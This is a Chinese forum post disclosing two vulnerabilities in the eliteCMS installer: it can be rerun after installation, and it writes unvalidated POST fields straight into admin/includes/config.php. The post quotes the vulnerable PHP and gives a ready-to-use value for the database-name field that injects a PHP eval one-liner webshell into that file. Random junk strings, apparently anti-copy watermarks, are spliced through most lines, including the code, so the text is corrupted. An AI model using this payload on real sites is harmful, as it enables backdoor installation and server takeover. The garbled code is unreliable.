找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2422|回复: 0
打印 上一主题 下一主题

eliteCMS安装文件未验证 + 一句话写入安全漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-18 13:59:27 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装
; q1 K, f5 z' [, h5 D2 t/ ^3 z7 B
) [! X5 s: Q3 M  D2 J- r$ A6 m另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
/ C7 t$ `4 v% l$ A/ U5 v: V: [: x6 _我们来看代码:  i0 {8 J9 y: [8 E% V' N% `: {
7 E( ?9 U6 T7 G# s; l5 x6 ]
...; }+ [8 E2 h  E# z" u
elseif ($_GET['step'] == "4") {
2 S- k3 j. J5 a5 n0 Z    $file = "../admin/includes/config.php";# G/ X) @& h. v
    $write = "<?php\n";1 @  K( b# n( C8 x0 i0 }8 k+ a' g
    $write .= "/**\n";$ @' T; E) V9 a- |0 E" l5 ~
    $write .= "*\n";* h6 g8 X9 i- W1 e1 c, x* \
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";4 S! \, B0 J2 r
...略.... O& U/ U1 E! S1 O- E1 A& u9 ]
    $write .= "*\n";
/ v; [& Z2 {; y/ i    $write .= "*/\n";/ S2 D/ }  R4 C1 [9 V3 O2 e! k
    $write .= "\n";( w* c' {- v# v- x: ^
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
! K% h2 Y  k. m. k    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";* V0 E5 W2 J. ~0 Q- @' q% N, Q
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
- t, r* A- I8 U+ L, A    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
( n( x- n4 d5 c( C2 ~1 `    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";$ x: ^6 p; P8 Z
    $write .= "if (!\$connection) {\n";
: ~$ |! k3 B: m: C' L1 p    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
; A! x8 l9 u' O4 o5 N    $write .= "        \n";7 S: [( \! m4 s
    $write .= "} \n";+ @6 m* z3 x5 z  I, H, [2 {4 Y
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
9 s- M! D, D" V    $write .= "if (!\$db_select) {\n";' T, P5 Z/ N1 T3 M- X! c5 O
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
* `; z& Z) n/ U9 V9 }    $write .= "        \n";1 l% C* u- {* }& @) m
    $write .= "} \n";
- C% j- f$ K6 U9 X, i; K* p4 X! }    $write .= "?>\n";
! z: V: N. y' L: } # h1 {% D! I- [  A
    $writer = fopen($file, 'w');7 U* p' c) B5 G+ s; H0 j
.../ v; Z8 M- y/ G

; n3 y6 S: E" P& \# Z0 L% R8 y在看代码:( \. j, Y3 i1 n' B# ?9 p
" T9 ]# T6 W9 v- ^# Q! L2 r5 R; P
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];  l% r0 u/ y7 I: Q
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
' s: s3 v* Y! E/ F* V$_SESSION['DB_USER'] = $_POST['DB_USER'];
7 y0 V  D! `! w! s. j* q! r6 S8 i4 P$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
9 T) h2 @5 m6 y3 ?- r$ Q* \
4 w* I2 O. p! J取值未作任何验证
& U0 i1 z  z+ Z! [% R) v如果将数据库名POST数据:% z% F; d) G8 C( }$ z  x

3 Z4 o- f" C$ L. z- J+ M3 d"?><?php eval($_POST[c]);?><?php- v2 r' L( @8 j9 ]$ ~

. b6 u  X" Z( \; L# b, T7 e( ~将导致一句话后门写入/admin/includes/config.php  A2 u- c+ m% ]+ X! x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表